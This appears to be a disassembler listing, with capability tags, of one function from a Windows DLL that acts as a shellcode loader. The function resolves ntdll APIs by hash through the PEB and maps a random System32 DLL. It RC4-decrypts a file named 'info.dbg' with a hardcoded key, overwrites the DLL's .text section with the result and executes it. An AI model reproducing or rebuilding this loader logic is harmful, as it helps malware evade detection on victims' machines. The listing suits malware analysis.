Function at 0x1800014a0
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process filename

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x180006008]
xor rax, rsp
mov qword [rbp + 0xf0], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0xaaaaaaab
mul r8d
shr edx, 6
lea ecx, [rdx + rdx*2]
mov edx, 0x64
shl ecx, 5
sub r8d, ecx
lea rcx, [rbp + 0x80]
mov eax, r8d
lea r8, str.C:WindowsSystem32_s
imul r9, rax, 0x32
lea rax, [0x180006640]
add r9, rax
call fcn.180001010
xor esi, esi
lea rcx, [rbp + 0x80]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [rsi + 3]
call qword [0x1800079f8]
mov rcx, rax
xor edx, edx
mov r14, rax
call qword [0x1800079f0]
mov qword [rsp + 0x58], rsi
lea rbx, str.ntdll.dll
mov ecx, eax
mov qword [rsp + 0x68], rcx
mov dword [rsp + 0x60], ecx
mov qword [rsp + 0x50], rsi
mov r15d, eax
xor eax, eax
mov dword [rsp + 0x64], eax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov r8, qword [rdx + 0x20]
test r8, r8
je 0x1800015e4
cmp word [r8 + 0x48], si
je 0x1800015e4
mov rdx, qword [r8 + 0x50]
mov rax, rsi
movzx ecx, word [rbx + rax*2]
cmp cx, word [rdx + rax*2]
jne 0x1800015dc
movzx ecx, word [rbx + rax*2 + 2]
cmp cx, word [rdx + rax*2 + 2]
jne 0x1800015dc
add rax, 2
cmp rax, 0xa
jne 0x1800015b6
mov rcx, qword [r8 + 0x20]
jmp 0x1800015e7
mov r8, qword [r8]
test r8, r8
jne 0x1800015a8
mov rcx, rsi
mov edx, 0x67dd85ef
call fcn.1800010a0
mov rcx, qword gs:[0x60]
mov rdi, rax
mov rdx, qword [rcx + 0x18]
mov r8, qword [rdx + 0x20]
test r8, r8
je 0x18000164e
nop word [rax + rax]
cmp word [r8 + 0x48], si
je 0x18000164e
mov rdx, qword [r8 + 0x50]
mov rcx, rsi
nop
movzx eax, word [rbx + rcx*2]
cmp ax, word [rdx + rcx*2]
jne 0x180001646
movzx eax, word [rbx + rcx*2 + 2]
cmp ax, word [rdx + rcx*2 + 2]
jne 0x180001646
add rcx, 2
cmp rcx, 0xa
jne 0x180001620
mov rcx, qword [r8 + 0x20]
jmp 0x180001651
mov r8, qword [r8]
test r8, r8
jne 0x180001610
mov rcx, rsi
mov edx, 0x69789db8
call fcn.1800010a0
xor r8d, r8d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
lea r9, [rsp + 0x60]
lea rcx, [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
mov rbx, rax
lea edx, [r8 + 0xe]
call rdi
call qword [0x1800079c8]
mov rcx, qword [rsp + 0x58]
lea r8, [rsp + 0x50]
mov dword [rsp + 0x48], 0x40
mov rdx, rax
mov dword [rsp + 0x40], esi
lea rax, [rsp + 0x68]
mov dword [rsp + 0x38], 2
xor r9d, r9d
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call rbx
mov rdx, qword [rsp + 0x50]
xor r9d, r9d
mov r8d, r15d
mov qword [rsp + 0x20], rsi
mov rcx, r14
call qword [0x1800079e8]
mov r11, qword [rsp + 0x50]
mov r12, rsi
mov r8d, esi
movsxd rcx, dword [r11 + 0x3c]
lea r10, [r11 + 0x18]
add r10, rcx
movzx eax, word [rcx + r11 + 0x14]
movzx r9d, word [rcx + r11 + 6]
add r10, rax
test r9d, r9d
je 0x18000173e
lea rbx, str..text
movsxd rax, r8d
lea rcx, [rax + rax*4]
lea rdx, [r10 + rcx*8]
mov rcx, rsi
nop
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x18000191f
cmp rcx, 6
jne 0x180001720
mov r12d, dword [rdx + 8]
add r12, r11
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
lea rcx, str.info.dbg
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [0x1800079f8]
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [0x1800079f0]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov r8d, eax
mov edi, eax
mov rdx, r12
mov rcx, rbx
call qword [0x1800079e8]
mov ecx, edi
mov qword [0x180007a00], r12
mov dword [0x180006634], edi
mov r13d, edi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor ecx, ecx
mov ebx, 0x100
mov r8d, ebx
mov qword [0x180007a08], rax
xor edx, edx
mov qword [rax], rcx
lea rcx, [rsp + 0x78]
call sub.VCRUNTIME140.dll_memset
mov ecx, ebx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
movups xmm0, xmmword [str.c93ce73239cc60a709addf2774e78e89]
mov r10, rax
mov qword [rsp + 0x70], rsi
movups xmm1, xmmword [0x180003250]
mov ecx, esi
lea rdx, [rsp + 0x78]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
nop word [rax + rax]
mov byte [rdx], cl
lea rdx, [rdx + 1]
inc ecx
cmp ecx, ebx
jb 0x180001800
mov r9, rsi
nop
movzx r8d, byte [rsp + r9 + 0x78]
lea rcx, [rsp + 0x78]
mov rax, r9
and eax, 0x1f
movzx edx, byte [rax + r10]
add edx, esi
add edx, r8d
movzx esi, dl
movzx eax, byte [rcx + rsi]
mov byte [rsp + r9 + 0x78], al
inc r9
mov byte [rcx + rsi], r8b
sub rbx, 1
jne 0x180001810
mov r14d, dword [0x180006634]
mov rsi, qword [0x180007a08]
mov r11d, r14d
mov ebx, dword [rsp + 0x70]
mov r10, rsi
mov edi, dword [rsp + 0x74]
mov r15, qword [0x180007a00]
test r14, r14
je 0x1800018c2
mov r9, r15
nop
lea eax, [rbx + 1]
movzx ebx, al
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x78]
movzx r8d, byte [rdx + rbx]
lea eax, [rdi + r8]
movzx edi, al
movzx eax, byte [rcx + rdi]
mov byte [rdx + rbx], al
mov byte [rcx + rdi], r8b
test r9, r9
je 0x1800018bc
test r10, r10
je 0x1800018bc
movzx ecx, byte [rdx + rbx]
add rcx, r8
movzx eax, cl
movzx edx, byte [rsp + rax + 0x78]
xor dl, byte [r9]
mov byte [r10], dl
inc r10
inc r9
sub r11, 1
jne 0x180001870
mov r8, r14
mov rdx, rsi
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor r9d, r9d
mov rdx, r13
mov rcx, r12
lea r8d, [r9 + 0x20]
call qword [0x180006638]
call r12
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.180001a20
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
inc r8d
cmp r8d, r9d
jl 0x180001710
jmp 0x18000173e